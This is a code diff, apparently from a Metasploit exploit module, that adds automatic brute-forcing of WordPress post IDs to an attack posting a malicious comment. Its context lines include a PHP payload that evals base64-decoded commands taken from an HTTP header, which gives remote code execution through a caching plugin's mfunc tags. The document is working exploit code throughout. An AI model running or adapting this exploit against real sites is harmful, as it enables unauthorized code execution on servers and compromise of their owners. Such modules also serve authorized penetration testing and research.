@@ -51,7 +51,7 @@ def initialize(info = {})
51
51
register_options (
52
52
[
53
53
OptString . new ( 'TARGETURI' , [ true , "The base path to the wordpress application" , "/wordpress/" ] ) ,
54
- OptInt . new ( 'POSTID' , [ true , "The post ID where publish the comment" ] ) ,
54
+ OptInt . new ( 'POSTID' , [ false , "The post ID where publish the comment" ] ) ,
55
55
OptString . new ( 'USERNAME' , [ false , "The user to authenticate as (anonymous if username not provided)" ] ) ,
56
56
OptString . new ( 'PASSWORD' , [ false , "The password to authenticate with (anonymous if password not provided)" ] )
57
57
] , self . class )
@@ -102,6 +102,33 @@ def login
102
102
103
103
end
104
104
105
+ def check_post_id ( uri )
106
+ options = {
107
+ 'method' => 'GET' ,
108
+ 'uri' => uri
109
+ }
110
+ options . merge! ( { 'cookie' => "#{ @cookie_name } =#{ @cookie_value } " } ) if @auth
111
+ res = send_request_cgi ( options )
112
+ if res and res . code == 200 and res . body =~ /form.*action.*wp-comments-post.php/
113
+ return true
114
+ elsif res and ( res . code == 301 or res . code == 302 ) and res . headers [ 'Location' ]
115
+ location = URI ( res . headers [ "Location" ] )
116
+ uri = location . path
117
+ uri << "?#{ location . query } " unless location . query . nil? or location . query . empty?
118
+ return check_post_id ( uri )
119
+ end
120
+ return false
121
+ end
122
+
123
+ def find_post_id
124
+ ( 1 ..1000 ) . each { |id |
125
+ vprint_status ( "#{ peer } - Checking POST ID #{ id } ..." )
126
+ res = check_post_id ( normalize_uri ( target_uri ) + "/?p=#{ id } " )
127
+ return id if res
128
+ }
129
+ return nil
130
+ end
131
+
105
132
def post_comment
106
133
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{ @sum } ' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
107
134
@@ -149,6 +176,19 @@ def exploit
149
176
print_status ( "#{ peer } - Trying unauthenticated exploitation..." )
150
177
end
151
178
179
+ if datastore [ 'POSTID' ] and datastore [ 'POSTID' ] != 0
180
+ @post_id = datastore [ 'POSTID' ]
181
+ print_status ( "#{ peer } - Using the user supplied POST ID #{ @post_id } ..." )
182
+ else
183
+ print_status ( "#{ peer } - Trying to brute force a valid POST ID..." )
184
+ @post_id = find_post_id
185
+ if @post_id . nil?
186
+ fail_with ( Exploit ::Failure ::BadConfig , "#{ peer } - Unable to post without a valid POST ID where comment" )
187
+ else
188
+ print_status ( "#{ peer } - Using the brute forced POST ID #{ @post_id } ..." )
189
+ end
190
+ end
191
+
152
192
random_test = rand_text_alpha ( 4096 )
153
193
@sum = Rex ::Text . sha1 ( random_test )
154
194
0 commit comments